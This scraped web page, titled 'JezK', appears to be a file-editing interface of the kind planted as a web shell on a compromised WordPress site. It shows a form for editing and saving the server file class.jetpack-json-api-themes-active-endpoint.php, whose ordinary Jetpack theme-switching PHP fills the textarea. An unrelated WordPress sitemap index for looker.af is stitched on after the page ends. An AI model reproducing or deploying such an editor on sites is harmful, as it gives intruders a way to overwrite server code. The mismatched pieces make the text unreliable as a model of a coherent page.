
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: class.jetpack-json-api-themes-active-endpoint.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php // phpcs:ignore WordPress.Files.FileName.InvalidClassFileName

/**
 * GET  /sites/%s/themes/mine =&gt; current theme
 * POST /sites/%s/themes/mine =&gt; switch theme
 */
class Jetpack_JSON_API_Themes_Active_Endpoint extends Jetpack_JSON_API_Themes_Endpoint {

	/**
	 * Endpoint callback.
	 *
	 * @param string $path - the path.
	 * @param int    $blog_id - the blog ID.
	 * @param object $object - The unused $object parameter is for making the method signature compatible with its parent class method.
	 *
	 * @return array|bool|WP_Error
	 */
	public function callback( $path = &#039;&#039;, $blog_id = 0, $object = null ) { // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable
		$error = $this-&gt;validate_call( $blog_id, &#039;switch_themes&#039;, true );
		if ( is_wp_error( $error ) ) {
			return $error;
		}

		if ( &#039;POST&#039; === $this-&gt;api-&gt;method ) {
			return $this-&gt;switch_theme();
		} else {
			return $this-&gt;get_current_theme();
		}
	}

	/**
	 * Switch the theme.
	 *
	 * @return array|WP_Error
	 */
	protected function switch_theme() {
		$args = $this-&gt;input();

		if ( ! isset( $args[&#039;theme&#039;] ) || empty( $args[&#039;theme&#039;] ) ) {
			return new WP_Error( &#039;missing_theme&#039;, __( &#039;You are required to specify a theme to switch to.&#039;, &#039;jetpack&#039; ), 400 );
		}

		$theme_slug = $args[&#039;theme&#039;];

		if ( ! $theme_slug ) {
			return new WP_Error( &#039;theme_not_found&#039;, __( &#039;Theme is empty.&#039;, &#039;jetpack&#039; ), 404 );
		}

		/**
		 * Trigger action before the switch theme happens.
		 *
		 * @module json-api
		 *
		 * @since 11.1
		 *
		 * @param string $theme_slug Directory name for the theme.
		 * @param mixed  $args       POST body data, including info about the theme we must switch to.
		 */
		do_action( &#039;jetpack_pre_switch_theme&#039;, $theme_slug, $args );

		$theme = wp_get_theme( $theme_slug );

		if ( ! $theme-&gt;exists() ) {
			return new WP_Error( &#039;theme_not_found&#039;, __( &#039;The specified theme was not found.&#039;, &#039;jetpack&#039; ), 404 );
		}

		if ( ! $theme-&gt;is_allowed() ) {
			return new WP_Error( &#039;theme_not_found&#039;, __( &#039;You are not allowed to switch to this theme&#039;, &#039;jetpack&#039; ), 403 );
		}

		switch_theme( $theme_slug );

		return $this-&gt;get_current_theme();
	}

	/**
	 * Get the current theme.
	 *
	 * @return array
	 */
	protected function get_current_theme() {
		return $this-&gt;format_theme( wp_get_theme() );
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
